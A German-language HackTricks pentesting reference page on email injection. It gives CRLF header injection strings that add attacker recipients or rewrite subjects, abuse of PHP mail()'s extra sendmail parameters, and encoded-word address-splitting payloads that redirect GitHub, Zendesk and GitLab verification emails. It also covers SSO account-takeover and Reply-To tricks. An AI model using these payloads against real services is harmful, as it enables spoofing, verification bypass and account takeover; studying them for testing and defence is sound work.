Email Injections

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Support HackTricks

Inject in sent e-mail

Inject Cc and Bcc after sender argument

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Die Nachricht wird an die Konten des Empfängers und von Empfänger1 gesendet.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

Die Nachricht wird an den ursprünglichen Empfänger und das Angreifer-Konto gesendet.

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Der gefälschte Betreff wird dem ursprünglichen Betreff hinzugefügt und ersetzt in einigen Fällen diesen. Es hängt vom Verhalten des E-Mail-Dienstes ab.

Ändern Sie den Inhalt der Nachricht

Injizieren Sie einen Zeilenumbruch, und schreiben Sie dann Ihre Nachricht, um den Inhalt der Nachricht zu ändern.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() Funktion Ausnutzung

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Der 5. Parameter ($additional_parameters)

Dieser Abschnitt basiert auf wie man diesen Parameter missbrauchen kann, vorausgesetzt, ein Angreifer kontrolliert ihn.

Dieser Parameter wird zur Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binary sendmail aufzurufen. Er wird jedoch mit der Funktion escapeshellcmd($additional_parameters) bereinigt.

Ein Angreifer kann in diesem Fall zusätzliche Parameter für sendmail injizieren.

Unterschiede in der Implementierung von /usr/sbin/sendmail

Die sendmail-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die grundlegende Funktionalität (wie -t -i -f Parameter) aus Kompatibilitätsgründen gleich bleibt, variieren andere Funktionen und Parameter stark, abhängig vom installierten MTA.

Hier sind einige Beispiele für verschiedene Man-Seiten des sendmail-Befehls/-schnittstelle:

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

  • Postfix MTA: http://www.postfix.org/mailq.1.html

  • Exim MTA: https://linux.die.net/man/8/eximReferences

Je nach Herkunft des sendmail-Binaries wurden verschiedene Optionen entdeckt, um sie auszunutzen und Dateien zu leaken oder sogar beliebige Befehle auszuführen. Überprüfen Sie, wie in https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

In den E-Mail-Namen injizieren

Beachten Sie, dass Sie, wenn Sie es schaffen, ein Konto in einem Dienst mit einem beliebigen Domainnamen (wie Github, Gitlab, CloudFlare Zero Trust...) zu erstellen und es zu verifizieren, indem Sie die Bestätigungs-E-Mail an Ihre E-Mail-Adresse erhalten, möglicherweise auf sensible Bereiche des Opferunternehmens zugreifen können.

Ignorierte Teile einer E-Mail

Die Symbole: +, - und {} können in seltenen Fällen zum Taggen verwendet werden und werden von den meisten E-Mail-Servern ignoriert.

  • Z.B. john.doe+intigriti@example.com → john.doe@example.com

Kommentare in Klammern () am Anfang oder Ende werden ebenfalls ignoriert.

  • Z.B. john.doe(intigriti)@example.com → john.doe@example.com

Whitelist-Umgehung

Zitate

IPs

Sie können auch IPs als Domainnamen in eckigen Klammern verwenden:

  • john.doe@[127.0.0.1]

  • john.doe@[IPv6:2001:db8::1]

E-Mail-Codierung

Wie in dieser Forschung erklärt, können E-Mail-Namen auch codierte Zeichen enthalten:

  • PHP 256 Überlauf: Die PHP chr-Funktion wird weiterhin 256 zu einem Zeichen hinzufügen, bis es positiv wird, und dann die Operation %256 durchführen.

  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Das Ziel dieses Tricks ist es, mit einer Injektion wie RCPT TO:<"collab@psres.net>collab"@example.com> zu enden, die die Bestätigungs-E-Mail an eine andere E-Mail-Adresse als die erwartete sendet (daher um eine andere E-Mail-Adresse innerhalb des E-Mail-Namens einzuführen und die Syntax beim Senden der E-Mail zu brechen).

Verschiedene Codierungen:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6  x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

  • Beachte das kodierte @ als =40, das kodierte > als =3e und null als =00

  • Es wird die Bestätigungs-E-Mail an collab@psres.net gesendet

  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

  • Der gleiche Trick wie zuvor, aber mit einem regulären Anführungszeichen am Anfang und dem kodierten Anführungszeichen =22 vor dem kodierten @ und dann einige Anführungszeichen vor der nächsten E-Mail zu öffnen und zu schließen, um die intern von Zendesk verwendete Syntax zu korrigieren

  • Es wird die Bestätigungs-E-Mail an collab@psres.net gesendet

  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

  • Beachte die Verwendung des Unterstrichs als Leerzeichen zur Trennung der Adresse

  • Es wird die Bestätigungs-E-Mail an collab@psres.net gesendet

  • Punycode: Mit Punycode war es möglich, ein Tag <style in Joomla einzufügen und es auszunutzen, um das CSRF-Token über CSS-Exfiltration zu stehlen.

Tooling

  • Es gibt ein Burp Suite Turbo Intruder-Skript, um diese Art von Kombinationen zu fuzzern, um E-Mail-Formate anzugreifen. Das Skript hat bereits potenziell funktionierende Kombinationen.

  • Es ist auch möglich, Hackvertor zu verwenden, um einen E-Mail-Splitting-Angriff zu erstellen

Other vulns

Third party SSO

XSS

Einige Dienste wie github oder salesforce erlauben es dir, eine E-Mail-Adresse mit XSS-Payloads zu erstellen. Wenn du diese Anbieter nutzen kannst, um dich bei anderen Diensten anzumelden und diese Dienste die E-Mail nicht korrekt bereinigen, könntest du XSS verursachen.

Account-Takeover

Wenn ein SSO-Dienst es dir erlaubt, ein Konto zu erstellen, ohne die angegebene E-Mail-Adresse zu verifizieren (wie salesforce) und du dann dieses Konto verwenden kannst, um dich bei einem anderen Dienst anzumelden, der salesforce vertraut, könntest du auf jedes Konto zugreifen. Beachte, dass salesforce angibt, ob die angegebene E-Mail verifiziert wurde oder nicht, aber die Anwendung sollte diese Informationen berücksichtigen.

Reply-To

Du kannst eine E-Mail senden mit From: company.com und Replay-To: attacker.com und wenn eine automatische Antwort gesendet wird, weil die E-Mail von einer internen Adresse gesendet wurde, könnte der Angreifer in der Lage sein, diese Antwort zu erhalten.

Hard Bounce Rate

Bestimmte Dienste, wie AWS, implementieren einen Schwellenwert, der als Hard Bounce Rate bekannt ist, typischerweise auf 10% festgelegt. Dies ist eine kritische Kennzahl, insbesondere für E-Mail-Zustelldienste. Wenn dieser Wert überschritten wird, kann der Dienst, wie der E-Mail-Dienst von AWS, ausgesetzt oder blockiert werden.

Ein hard bounce bezieht sich auf eine E-Mail, die an den Absender zurückgesendet wurde, weil die Adresse des Empfängers ungültig oder nicht existent ist. Dies kann aus verschiedenen Gründen geschehen, wie z.B. dass die E-Mail an eine nicht existierende Adresse gesendet wurde, eine Domain, die nicht real ist, oder die Ablehnung des Empfängerservers, E-Mails zu akzeptieren.

Im Kontext von AWS, wenn du 1000 E-Mails sendest und 100 davon zu Hard Bounces führen (aufgrund von Gründen wie ungültigen Adressen oder Domains), würde dies eine Hard Bounce Rate von 10% bedeuten. Das Erreichen oder Überschreiten dieses Wertes kann dazu führen, dass AWS SES (Simple Email Service) deine E-Mail-Sende-Funktionen blockiert oder aussetzt.

Es ist entscheidend, eine niedrige Hard Bounce Rate aufrechtzuerhalten, um einen ununterbrochenen E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in deinen Mailinglisten kann erheblich dazu beitragen, dies zu erreichen.

Für detailliertere Informationen kann auf die offizielle Dokumentation von AWS zur Handhabung von Bounces und Beschwerden verwiesen werden: AWS SES Bounce Handling.

References

Support HackTricks

Verwende Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Erhalte heute Zugang:

Last updated